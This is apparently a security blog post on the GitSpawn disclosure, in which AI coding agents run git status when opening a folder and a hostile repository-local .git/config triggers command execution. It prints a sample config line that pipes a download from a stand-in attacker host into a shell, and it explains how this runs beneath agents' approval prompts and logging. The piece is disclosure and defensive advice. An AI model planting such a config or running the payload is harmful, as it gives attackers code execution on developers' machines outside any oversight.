GitSpawn: Your AI Coding Agent Runs Attacker Code Before You Type Anything

Open a folder with Claude Code and it runs git status before you type anything. Before the workspace-trust prompt appears. On some agents, before you have even authenticated. If that folder came from somewhere else, the repository gets to decide what that command runs.

That’s GitSpawn, disclosed by Manifold Security at the start of September — eight findings across seven command-line AI coding agents.

The mechanism is ordinary plumbing, not AI

Manifold’s own framing is the clearest summary of why this matters: the vulnerability isn’t in the model, or in anything new. It’s in the ordinary plumbing underneath — the subprocess an agent spawns at session startup to work out where it is.

AI coding agents need context constantly. What branch is this? What files changed? What’s staged? What does the diff look like? To answer, several products invoke Git automatically in the background. Git reads repository-local configuration when it runs. And certain Git settings — core.fsmonitor being the headline one — name a command that Git executes.

A malicious .git/config therefore looks roughly like this:

[core]
fsmonitor = curl -s https://attacker.example/payload | sh

The agent runs git status to orient itself. Git reads the repo’s own config. The command runs. No prompt, no approval dialog, nothing on screen.

Manifold’s description of the result: arbitrary code execution as the developer, outside the sandbox, with no approval prompt and nothing on screen.

Why a normal git clone doesn’t save you

This is the detail that determines whether you’re actually exposed, and it’s easy to miss. An ordinary Git clone, fetch, or pull does not transfer repository-local .git/config from the remote. Git deliberately doesn’t ship config that way.

The dangerous path is a repository received as files — a ZIP archive with a .git directory inside it, a synced folder, a downloaded release, a USB transfer. That’s how a hostile config reaches your disk intact.

And this isn’t hypothetical. The FakeGit campaign — roughly 7,600 malicious GitHub repositories built by 6,600 fake developer profiles — has been distributing exactly these kinds of poisoned archives, with convincing README files that walk users and their AI agents through a routine setup that activates a malware chain called SmartLoader.

The affected agents and patch state

Seven agents were named: Claude Code, OpenAI Codex, Cursor, Goose, Hermes Agent, Qwen Code, and Grok Build. Four CVEs were assigned, and four paths remained unpatched at publication.

Specifics worth knowing:

• Claude Code — confirmed on 2.1.193, fixed by 2.1.196 on the core.fsmonitor path. But a second path, triggered by claude ultrareview, was reported 15 July on 2.1.210 and confirmed still live on 2.1.252 on 1 September. One fixed sink does not mean the agent is clear.
• Codex Desktop for Windows — versions 26.304.38 through 26.513.40821, fixed in 26.519.21041 (Microsoft Store package fixed in 26.519.2081.0)
• Hermes Agent (0.18.2, 0.21.0), Qwen Code (0.19.6, 0.22.3), Grok Build (0.2.93, 1.0.13) — confirmed by Manifold, fixes pending at disclosure

The Claude Code case is the instructive one. Two different Git settings of the same kind, and the review path that strips one doesn’t strip the other. Patching a vulnerability class by its most famous symptom leaves the rest of the class intact.

What to do, concretely

Three actions, in order of how much they actually buy you:

1. Disable fsmonitor globally. This removes the attack surface for every repository on your machine at once, regardless of agent:

git config --global core.fsmonitor false

2. Update your agents. Claude Code 2.1.196+, Codex CLI 0.152.1+, Cursor latest, Goose 1.44.0+. Note this is necessary but not sufficient given the second Claude Code path above.

3. Never open a received archive with an agent. If a repo arrives as a ZIP or a downloaded release, re-clone it from its verified source instead. This is the behavioral change that actually closes the gap, since it addresses the delivery mechanism rather than one config key.

For teams: audit developer environments for repositories that arrived outside a normal git clone — archives, synced folders, USB drives.

The pattern worth naming

This is the same category as prompt injection, but at the filesystem layer — and harder to detect, because there’s no visible prompt to inject into. The exploit also runs beneath the approval and logging layer that vendors built specifically to gate agent-initiated execution, which means your audit log won’t show it either.

Broader research from the same September disclosure window counts eleven vulnerabilities across LangChain, LangGraph, CrewAI, AutoGen, and the Google ADK. The consistent read: agents are being deployed faster than the security controls meant to govern them.

Treat any repository you did not clone yourself as untrusted — because your AI agent already does, just not in the direction you’d want.

Official reference: Manifold Security’s GitSpawn disclosure (manifold.security), cross-checked against The Hacker News and byteiota reporting from September 1-2, 2026. Version numbers and patch status were accurate at disclosure and should be re-verified against vendor release notes, since several fixes were listed as pending.